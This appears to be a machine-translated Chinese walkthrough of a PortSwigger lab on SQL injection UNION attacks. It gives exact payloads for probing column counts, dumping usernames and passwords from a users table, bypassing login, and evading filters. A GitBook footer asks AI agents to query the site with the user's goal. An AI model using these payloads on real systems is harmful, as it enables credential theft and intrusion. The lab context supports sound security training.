> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-retrieving-data-from-other-tables.md).

# 通过 UNION 攻击从其他表提取数据

通过 UNION 攻击从其他表提取数据笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### SQL 注入 UNION 攻击，从其他表中检索数据

**背景：** `类别` 易受注入攻击的过滤器；答案会产生 SQL 结果，因此一个 `UNION SELECT` 允许注入并显示来自其他表的行。

**实验目标：** 恢复所有 `用户名` / `密码` 从 `users` 表，然后以 `administrator`.

#### 步骤（顺序，精确载荷）

1. **确定列数** （如果未知）：

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

当 `ORDER BY N` 会导致错误，列数 < N。2. **验证 `UNION`** （与原始请求相同数量的列）：/ 例如，如果查询返回 2 列：

````
```sql
' UNION SELECT '1','2'-- -
```
````

或使用 `NULL` 用于不相关的列：

````
```sql
' UNION SELECT NULL, NULL-- -
```
````

3\. **提取 `用户名` / `密码`** （调整列数/顺序）：/ 如果原始请求有 **2 列**:

````
```sql
' UNION SELECT username, password FROM users-- -
```
````

如果它有 **3 列**，请放置 `NULL` 用于未使用的列，例如（第二个位置为文本）：

````
```sql
' UNION SELECT NULL, username, password FROM users-- -
```
````

— 如果类型不兼容：使用 `CAST`/`TO_CHAR` 或 `NULL` 强制兼容：

````
```sql
' UNION SELECT CAST(username AS CHAR), CAST(password AS CHAR) FROM users-- -
```
````

4\. **检查输出** — 响应必须包含 `用户名`/`密码` 配对。

* 找到 `administrator` 行并记录其密码。
* 在登录页面使用这些凭据。

5. **替代方案（如果导出失败）** — 绕过 d

   ```sql
   ' OR 1=1-- -
   ```

（比转储留下更少证据；如果可能，优先选择导出。）

#### 技术细节

* 使用单独的常量（或 `NULL`）来识别哪些列会显示。
* Oracle：如果未加引号，名称为大写；可能需要 `TO_CHAR`.
* MSSQL/MySQL/Postgres： `CAST`/`CONVERT`/`::text` 如果类型不同。
* 如果 `UNION` 被阻止时，测试间距/注释或函数的变化，以重建链条（`CONCAT`, `CHR`/`CHAR`).

#### 总体影响

* 凭据（管理员）、应用控制、数据泄露/篡改。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-retrieving-data-from-other-tables.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
